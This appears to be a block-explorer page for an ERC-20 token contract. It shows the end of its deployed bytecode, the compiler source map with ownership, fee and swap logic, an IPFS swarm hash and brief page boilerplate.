010191505092915050565b6001600160a01b0381168114611127575f5ffd5b50565b5f5f6040838503121561113b575f5ffd5b823561114681611113565b946020939093013593505050565b5f5f5f60608486031215611166575f5ffd5b833561117181611113565b9250602084013561118181611113565b929592945050506040919091013590565b5f602082840312156111a2575f5ffd5b8135610e0c81611113565b5f5f604083850312156111be575f5ffd5b82356111c981611113565b915060208301356111d981611113565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561123357808504811115611217576112176111e4565b600184161561122557908102905b60019390931c9280026111fc565b935093915050565b5f82611249575060016102d8565b8161125557505f6102d8565b816001811461126b576002811461127557611291565b60019150506102d8565b60ff841115611286576112866111e4565b50506001821b6102d8565b5060208310610133831016604e8410600b84101617156112b4575081810a6102d8565b6112c05f1984846111f8565b805f19048211156112d3576112d36111e4565b029392505050565b5f610e0c60ff84168361123b565b80820281158282048414176102d8576102d86111e4565b634e487b7160e01b5f52603260045260245ffd5b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f5f5f6060848603121561135b575f5ffd5b5050815160208301516040909301519094929350919050565b5f60208284031215611384575f5ffd5b8151610e0c81611113565b5f600182016113a0576113a06111e4565b5060010190565b818103818111156102d8576102d86111e4565b5f826113d457634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156114295783516001600160a01b0316835260209384019390920191600101611402565b50506001600160a01b039590951660608401525050608001529392505050565b808201808211156102d8576102d86111e456fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e0a7997f70eaaa151f2b19ba1f5588e50d3996616546e7f966cb895ebf522d0564736f6c634300081b0033
Deployed Bytecode Sourcemap
3862:6718:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5852:83;;;;;;;;;;-1:-1:-1;5922:5:0;;;;;;;;;;;;-1:-1:-1;;;5922:5:0;;;;5852:83;;;;;;;:::i;:::-;;;;;;;;6827:161;;;;;;;;;;-1:-1:-1;6827:161:0;;;;;:::i;:::-;;:::i;:::-;;;1110:14:1;;1103:22;1085:41;;1073:2;1058:18;6827:161:0;945:187:1;6129:95:0;;;;;;;;;;;;;:::i;:::-;;;1283:25:1;;;1271:2;1256:18;6129:95:0;1137:177:1;6996:447:0;;;;;;;;;;-1:-1:-1;6996:447:0;;;;;:::i;:::-;;:::i;6038:83::-;;;;;;;;;;-1:-1:-1;6038:83:0;;4608:1;1974:36:1;;1962:2;1947:18;6038:83:0;1832:184:1;6232:119:0;;;;;;;;;;-1:-1:-1;6232:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6325:18:0;6298:7;6325:18;;;:9;:18;;;;;;;6232:119;3705:148;;;;;;;;;;;;;:::i;:::-;;3491:79;;;;;;;;;;-1:-1:-1;3529:7:0;3556:6;3491:79;;-1:-1:-1;;;;;3556:6:0;;;2419:51:1;;2407:2;2392:18;3491:79:0;2273:203:1;5943:87:0;;;;;;;;;;-1:-1:-1;6015:7:0;;;;;;;;;;;;-1:-1:-1;;;6015:7:0;;;;5943:87;;6359:167;;;;;;;;;;-1:-1:-1;6359:167:0;;;;;:::i;:::-;;:::i;7794:316::-;;;;;;;;;;;;;:::i;6534:143::-;;;;;;;;;;-1:-1:-1;6534:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6642:18:0;;;6615:7;6642:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6534:143;5540:304;;;;;;;;;;;;;:::i;6827:161::-;6902:4;6919:39;1719:10;6942:7;6951:6;6919:8;:39::i;:::-;-1:-1:-1;6976:4:0;6827:161;;;;;:::o;6129:95::-;6182:7;4664:13;4608:1;4664:2;:13;:::i;:::-;4651:26;;:10;:26;:::i;:::-;6202:14;;6129:95;:::o;6996:447::-;7131:25;;;;;;;;;-1:-1:-1;;;;;7131:25:0;;;;;7140:9;7094:4;7140:12;;;7131:25;7140:12;;;;;;;;7131:25;;;;7094:4;7111:56;;7123:6;;7140:12;7131:25;;;;;7158:8;:6;7165:1;7158:8;:::i;:::-;7111:11;:56::i;:::-;7198:25;;;;;;;;;7209:1;-1:-1:-1;7199:12:0;;;:9;:12;;;;;;-1:-1:-1;;;;;7199:12:0;;;7198:25;;;;;;;;7178:56;;7190:6;;7198:25;;7178:56;7245:36;7255:6;7263:9;7274:6;7245:9;:36::i;:::-;7292:121;7301:6;1719:10;7323:89;7361:6;7323:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7323:19:0;;;;;;:11;:19;;;;;;;;1719:10;7323:33;;;;;;;;;;:37;:89::i;:::-;7292:8;:121::i;:::-;-1:-1:-1;7431:4:0;6996:447;;;;;:::o;3705:148::-;3618:6;;-1:-1:-1;;;;;3618:6:0;1719:10;3618:22;3610:67;;;;-1:-1:-1;;;3610:67:0;;;;;;;:::i;:::-;;;;;;;;;3812:1:::1;3796:6:::0;;3775:40:::1;::::0;-1:-1:-1;;;;;3796:6:0;;::::1;::::0;3775:40:::1;::::0;3812:1;;3775:40:::1;3843:1;3826:19:::0;;-1:-1:-1;;;;;;3826:19:0::1;::::0;;3705:148::o;6359:167::-;6437:4;6454:42;1719:10;6478:9;6489:6;6454:9;:42::i;7794:316::-;3618:6;;-1:-1:-1;;;;;3618:6:0;1719:10;3618:22;3610:67;;;;-1:-1:-1;;;3610:67:0;;;;;;;:::i;:::-;7858:15:::1;::::0;-1:-1:-1;;;7858:15:0;::::1;;;7857:16;7849:51;;;::::0;-1:-1:-1;;;7849:51:0;;5306:2:1;7849:51:0::1;::::0;::::1;5288:21:1::0;5345:2;5325:18;;;5318:30;5384:25;5364:18;;;5357:53;5427:18;;7849:51:0::1;5104:347:1::0;7849:51:0::1;7911:12;::::0;-1:-1:-1;;;;;7911:12:0::1;:28;7947:21;7978:4;7984:24;7978:4:::0;-1:-1:-1;;;;;6325:18:0;6298:7;6325:18;;;:9;:18;;;;;;;6232:119;7984:24:::1;8009:1;8011;8013:7;3529::::0;3556:6;-1:-1:-1;;;;;3556:6:0;;3491:79;8013:7:::1;7911:126;::::0;::::1;::::0;;;-1:-1:-1;;;;;;7911:126:0;;;-1:-1:-1;;;;;5777:32:1;;;7911:126:0::1;::::0;::::1;5759:51:1::0;5826:18;;;5819:34;;;;5869:18;;;5862:34;;;;5912:18;;;5905:34;5976:32;;;5955:19;;;5948:61;8021:15:0::1;6025:19:1::0;;;6018:35;5731:19;;7911:126:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;8048:14:0::1;:21:::0;;-1:-1:-1;;;;8080:22:0;-1:-1:-1;;;8080:22:0;;;-1:-1:-1;7794:316:0:o;5540:304::-;3618:6;;-1:-1:-1;;;;;3618:6:0;1719:10;3618:22;3610:67;;;;-1:-1:-1;;;3610:67:0;;;;;;;:::i;:::-;5591:12:::1;:71:::0;;-1:-1:-1;;;;;;5591:71:0::1;5619:42;5591:71:::0;;::::1;::::0;;;5673:55:::1;::::0;5690:4:::1;::::0;4664:13:::1;4608:1;4664:2;:13;:::i;:::-;4651:26;::::0;:10:::1;:26;:::i;5673:55::-;5766:12;;;;;;;;;-1:-1:-1::0;;;;;5766:12:0::1;-1:-1:-1::0;;;;;5766:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5752:48:0::1;;5809:4;5816:12;;;;;;;;;-1:-1:-1::0;;;;;5816:12:0::1;-1:-1:-1::0;;;;;5816:17:0::1;;:19;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5752:84;::::0;-1:-1:-1;;;;;;5752:84:0::1;::::0;;;;;;-1:-1:-1;;;;;6973:32:1;;;5752:84:0::1;::::0;::::1;6955:51:1::0;7042:32;;7022:18;;;7015:60;6928:18;;5752:84:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5739:10;:97:::0;;-1:-1:-1;;;;;;5739:97:0::1;-1:-1:-1::0;;;;;5739:97:0;;;::::1;::::0;;;::::1;::::0;;5540:304::o;7451:335::-;-1:-1:-1;;;;;7544:19:0;;7536:68;;;;-1:-1:-1;;;7536:68:0;;7288:2:1;7536:68:0;;;7270:21:1;7327:2;7307:18;;;7300:30;7366:34;7346:18;;;7339:62;-1:-1:-1;;;7417:18:1;;;7410:34;7461:19;;7536:68:0;7086:400:1;7536:68:0;-1:-1:-1;;;;;7623:21:0;;7615:68;;;;-1:-1:-1;;;7615:68:0;;7693:2:1;7615:68:0;;;7675:21:1;7732:2;7712:18;;;7705:30;7771:34;7751:18;;;7744:62;-1:-1:-1;;;7822:18:1;;;7815:32;7864:19;;7615:68:0;7491:398:1;7615:68:0;-1:-1:-1;;;;;7694:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7746:32;;1283:25:1;;;7746:32:0;;1256:18:1;7746:32:0;;;;;;;7451:335;;;:::o;6685:134::-;6776:35;6785:6;6793:9;6804:6;6776:8;:35::i;:::-;6685:134;;;:::o;8118:1724::-;-1:-1:-1;;;;;8206:18:0;;8198:68;;;;-1:-1:-1;;;8198:68:0;;8096:2:1;8198:68:0;;;8078:21:1;8135:2;8115:18;;;8108:30;8174:34;8154:18;;;8147:62;-1:-1:-1;;;8225:18:1;;;8218:35;8270:19;;8198:68:0;7894:401:1;8198:68:0;-1:-1:-1;;;;;8285:16:0;;8277:64;;;;-1:-1:-1;;;8277:64:0;;8502:2:1;8277:64:0;;;8484:21:1;8541:2;8521:18;;;8514:30;8580:34;8560:18;;;8553:62;-1:-1:-1;;;8631:18:1;;;8624:33;8674:19;;8277:64:0;8300:399:1;8277:64:0;8369:1;8360:6;:10;8352:64;;;;-1:-1:-1;;;8352:64:0;;8906:2:1;8352:64:0;;;8888:21:1;8945:2;8925:18;;;8918:30;8984:34;8964:18;;;8957:62;-1:-1:-1;;;9035:18:1;;;9028:39;9084:19;;8352:64:0;8704:405:1;8352:64:0;8429:17;3556:6;;-1:-1:-1;;;;;8463:15:0;;;3556:6;;8463:15;;;;:32;;-1:-1:-1;3529:7:0;3556:6;-1:-1:-1;;;;;8482:13:0;;;3556:6;;8482:13;;8463:32;8459:1016;;;8524:76;8596:3;8524:67;8546:15;;8536:9;;:25;8535:55;;8576:14;;8535:55;;;8563:12;;8535:55;8524:6;;:10;:67::i;:::-;:71;;:76::i;:::-;8629:10;;8512:88;;-1:-1:-1;;;;;;8621:18:0;;;8629:10;;8621:18;:49;;;;-1:-1:-1;8657:12:0;;-1:-1:-1;;;;;8643:27:0;;;8657:12;;8643:27;;8621:49;:75;;;;-1:-1:-1;;;;;;8676:20:0;;;;;;:16;:20;;;;;;;;8674:22;8621:75;8617:127;;;8717:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8617:127;8769:10;;-1:-1:-1;;;;;8763:16:0;;;8769:10;;8763:16;:40;;;;-1:-1:-1;;;;;;8783:20:0;;8798:4;8783:20;;8763:40;8760:171;;;8836:79;8911:3;8836:70;8858:16;;8848:9;;:26;8847:58;;8890:15;;8847:58;;;8876:13;;8836:6;;:10;:70::i;:79::-;8824:91;;8760:171;8996:4;8947:28;6325:18;;;:9;:18;;;;;;9022:10;;-1:-1:-1;;;9022:10:0;;;;9021:11;:31;;;;-1:-1:-1;9042:10:0;;-1:-1:-1;;;;;9036:16:0;;;9042:10;;9036:16;9021:31;:49;;;;-1:-1:-1;9056:14:0;;-1:-1:-1;;;9056:14:0;;;;9021:49;:83;;;;;9086:18;;9074:9;;:30;9021:83;9017:447;;;9151:13;;9128:20;:36;9125:129;;;9183:71;9200:53;9204:6;9212:40;9216:20;9238:13;;9212:3;:40::i;:::-;9200:3;:53::i;:::-;9183:16;:71::i;:::-;9302:21;9394:35;9407:21;9394:12;:35::i;:::-;9106:358;9017:447;8497:978;8459:1016;9490:13;;9487:166;;9562:4;9544:24;;;;:9;:24;;;;;;:39;;9573:9;9544:28;:39::i;:::-;9535:4;9517:24;;;;:9;:24;;;;;;;:66;;;;9601:40;;-1:-1:-1;;;;;9601:40:0;;;;;;;9631:9;1283:25:1;;1271:2;1256:18;;1137:177;9601:40:0;;;;;;;;9487:166;-1:-1:-1;;;;;9683:15:0;;;;;;:9;:15;;;;;;:27;;9703:6;9683:19;:27::i;:::-;-1:-1:-1;;;;;9665:15:0;;;;;;:9;:15;;;;;:45;9737:40;9755:21;:6;9766:9;9755:10;:21::i;:::-;-1:-1:-1;;;;;9737:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9721:13:0;;;;;;;:9;:13;;;;;:56;;;;9793:41;;;9812:21;:6;9823:9;9812:10;:21::i;:::-;9793:41;;1283:25:1;;;1271:2;1256:18;9793:41:0;;;;;;;8187:1655;8118:1724;;;:::o;816:190::-;902:7;938:12;930:6;;;;922:29;;;;-1:-1:-1;;;922:29:0;;;;;;;;:::i;:::-;-1:-1:-1;962:9:0;974:5;978:1;974;:5;:::i;:::-;962:17;816:190;-1:-1:-1;;;;;816:190:0:o;1014:246::-;1072:7;1096:1;1101;1096:6;1092:47;;-1:-1:-1;1126:1:0;1119:8;;1092:47;1149:9;1161:5;1165:1;1161;:5;:::i;:::-;1149:17;-1:-1:-1;1194:1:0;1185:5;1189:1;1149:17;1185:5;:::i;:::-;:10;1177:56;;;;-1:-1:-1;;;1177:56:0;;9811:2:1;1177:56:0;;;9793:21:1;9850:2;9830:18;;;9823:30;9889:34;9869:18;;;9862:62;-1:-1:-1;;;9940:18:1;;;9933:31;9981:19;;1177:56:0;9609:397:1;1177:56:0;1251:1;1014:246;-1:-1:-1;;;1014:246:0:o;1268:132::-;1326:7;1353:39;1357:1;1360;1353:39;;;;;;;;;;;;;;;;;:3;:39::i;9850:99::-;9907:7;9935:1;9933;:3;9932:9;;9940:1;9932:9;;;-1:-1:-1;9938:1:0;9850:99;-1:-1:-1;9850:99:0:o;10103:474::-;5081:10;:17;;-1:-1:-1;;;;5081:17:0;-1:-1:-1;;;5081:17:0;;;10205:16:::1;::::0;;10219:1:::1;10205:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10205:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10205:16:0::1;10181:40;;10250:4;10232;10237:1;10232:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10232:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10276:12:::1;::::0;:19:::1;::::0;;-1:-1:-1;;;10276:19:0;;;;:12;;;::::1;::::0;:17:::1;::::0;:19:::1;::::0;;::::1;::::0;10232:7;;10276:19;;;;;:12;:19:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10266:4;10271:1;10266:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10266:29:0;;::::1;:7;::::0;;::::1;::::0;;;;;:29;10338:12:::1;::::0;10306:59:::1;::::0;10323:4:::1;::::0;10338:12:::1;10353:11:::0;10306:8:::1;:59::i;:::-;10376:12;::::0;:193:::1;::::0;-1:-1:-1;;;10376:193:0;;-1:-1:-1;;;;;10376:12:0;;::::1;::::0;:63:::1;::::0;:193:::1;::::0;10454:11;;10376:12:::1;::::0;10496:4;;10523::::1;::::0;10543:15:::1;::::0;10376:193:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1::0;;5121:10:0;:18;;-1:-1:-1;;;;5121:18:0;;;-1:-1:-1;;;;10103:474:0:o;9957:101::-;10022:10;;10014:36;;-1:-1:-1;;;;;10022:10:0;;;;10014:36;;;;;10043:6;;10022:10;10014:36;10022:10;10014:36;10043:6;10022:10;10014:36;;;;;;;;;;;;;;;;;;;;;9957:101;:::o;485:179::-;543:7;;575:5;579:1;575;:5;:::i;:::-;563:17;;604:1;599;:6;;591:46;;;;-1:-1:-1;;;591:46:0;;11439:2:1;591:46:0;;;11421:21:1;11478:2;11458:18;;;11451:30;11517:29;11497:18;;;11490:57;11564:18;;591:46:0;11237:351:1;672:136:0;730:7;757:43;761:1;764;757:43;;;;;;;;;;;;;;;;;:3;:43::i;1408:189::-;1494:7;1529:12;1522:5;1514:28;;;;-1:-1:-1;;;1514:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1553:9:0;1565:5;1569:1;1565;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;492:70;437:131;:::o;573:367::-;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;904:2;889:18;;;;876:32;;-1:-1:-1;;;573:367:1:o;1319:508::-;1396:6;1404;1412;1465:2;1453:9;1444:7;1440:23;1436:32;1433:52;;;1481:1;1478;1471:12;1433:52;1520:9;1507:23;1539:31;1564:5;1539:31;:::i;:::-;1589:5;-1:-1:-1;1646:2:1;1631:18;;1618:32;1659:33;1618:32;1659:33;:::i;:::-;1319:508;;1711:7;;-1:-1:-1;;;1791:2:1;1776:18;;;;1763:32;;1319:508::o;2021:247::-;2080:6;2133:2;2121:9;2112:7;2108:23;2104:32;2101:52;;;2149:1;2146;2139:12;2101:52;2188:9;2175:23;2207:31;2232:5;2207:31;:::i;2481:388::-;2549:6;2557;2610:2;2598:9;2589:7;2585:23;2581:32;2578:52;;;2626:1;2623;2616:12;2578:52;2665:9;2652:23;2684:31;2709:5;2684:31;:::i;:::-;2734:5;-1:-1:-1;2791:2:1;2776:18;;2763:32;2804:33;2763:32;2804:33;:::i;:::-;2856:7;2846:17;;;2481:388;;;;;:::o;2874:127::-;2935:10;2930:3;2926:20;2923:1;2916:31;2966:4;2963:1;2956:15;2990:4;2987:1;2980:15;3006:375;3094:1;3112:5;3126:249;3147:1;3137:8;3134:15;3126:249;;;3197:4;3192:3;3188:14;3182:4;3179:24;3176:50;;;3206:18;;:::i;:::-;3256:1;3246:8;3242:16;3239:49;;;3270:16;;;;3239:49;3353:1;3349:16;;;;;3309:15;;3126:249;;;3006:375;;;;;;:::o;3386:902::-;3435:5;3465:8;3455:80;;-1:-1:-1;3506:1:1;3520:5;;3455:80;3554:4;3544:76;;-1:-1:-1;3591:1:1;3605:5;;3544:76;3636:4;3654:1;3649:59;;;;3722:1;3717:174;;;;3629:262;;3649:59;3679:1;3670:10;;3693:5;;;3717:174;3754:3;3744:8;3741:17;3738:43;;;3761:18;;:::i;:::-;-1:-1:-1;;3817:1:1;3803:16;;3876:5;;3629:262;;3975:2;3965:8;3962:16;3956:3;3950:4;3947:13;3943:36;3937:2;3927:8;3924:16;3919:2;3913:4;3910:12;3906:35;3903:77;3900:203;;;-1:-1:-1;4012:19:1;;;4088:5;;3900:203;4135:42;-1:-1:-1;;4160:8:1;4154:4;4135:42;:::i;:::-;4213:6;4209:1;4205:6;4201:19;4192:7;4189:32;4186:58;;;4224:18;;:::i;:::-;4262:20;;3386:902;-1:-1:-1;;;3386:902:1:o;4293:140::-;4351:5;4380:47;4421:4;4411:8;4407:19;4401:4;4380:47;:::i;4438:168::-;4511:9;;;4542;;4559:15;;;4553:22;;4539:37;4529:71;;4580:18;;:::i;4611:127::-;4672:10;4667:3;4663:20;4660:1;4653:31;4703:4;4700:1;4693:15;4727:4;4724:1;4717:15;4743:356;4945:2;4927:21;;;4964:18;;;4957:30;5023:34;5018:2;5003:18;;4996:62;5090:2;5075:18;;4743:356::o;6064:456::-;6152:6;6160;6168;6221:2;6209:9;6200:7;6196:23;6192:32;6189:52;;;6237:1;6234;6227:12;6189:52;-1:-1:-1;;6282:16:1;;6388:2;6373:18;;6367:25;6484:2;6469:18;;;6463:25;6282:16;;6367:25;;-1:-1:-1;6463:25:1;6064:456;-1:-1:-1;6064:456:1:o;6525:251::-;6595:6;6648:2;6636:9;6627:7;6623:23;6619:32;6616:52;;;6664:1;6661;6654:12;6616:52;6696:9;6690:16;6715:31;6740:5;6715:31;:::i;9114:135::-;9153:3;9174:17;;;9171:43;;9194:18;;:::i;:::-;-1:-1:-1;9241:1:1;9230:13;;9114:135::o;9254:128::-;9321:9;;;9342:11;;;9339:37;;;9356:18;;:::i;9387:217::-;9427:1;9453;9443:132;;9497:10;9492:3;9488:20;9485:1;9478:31;9532:4;9529:1;9522:15;9560:4;9557:1;9550:15;9443:132;-1:-1:-1;9589:9:1;;9387:217::o;10143:959::-;10405:4;10453:3;10442:9;10438:19;10484:6;10473:9;10466:25;10527:6;10522:2;10511:9;10507:18;10500:34;10570:3;10565:2;10554:9;10550:18;10543:31;10594:6;10629;10623:13;10660:6;10652;10645:22;10698:3;10687:9;10683:19;10676:26;;10737:2;10729:6;10725:15;10711:29;;10758:1;10768:195;10782:6;10779:1;10776:13;10768:195;;;10847:13;;-1:-1:-1;;;;;10843:39:1;10831:52;;10912:2;10938:15;;;;10903:12;;;;10879:1;10797:9;10768:195;;;-1:-1:-1;;;;;;;11019:32:1;;;;11014:2;10999:18;;10992:60;-1:-1:-1;;11083:3:1;11068:19;11061:35;10980:3;10143:959;-1:-1:-1;;;10143:959:1:o;11107:125::-;11172:9;;;11193:10;;;11190:36;;;11206:18;;:::i
Swarm Source
ipfs://e0a7997f70eaaa151f2b19ba1f5588e50d3996616546e7f966cb895ebf522d05
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.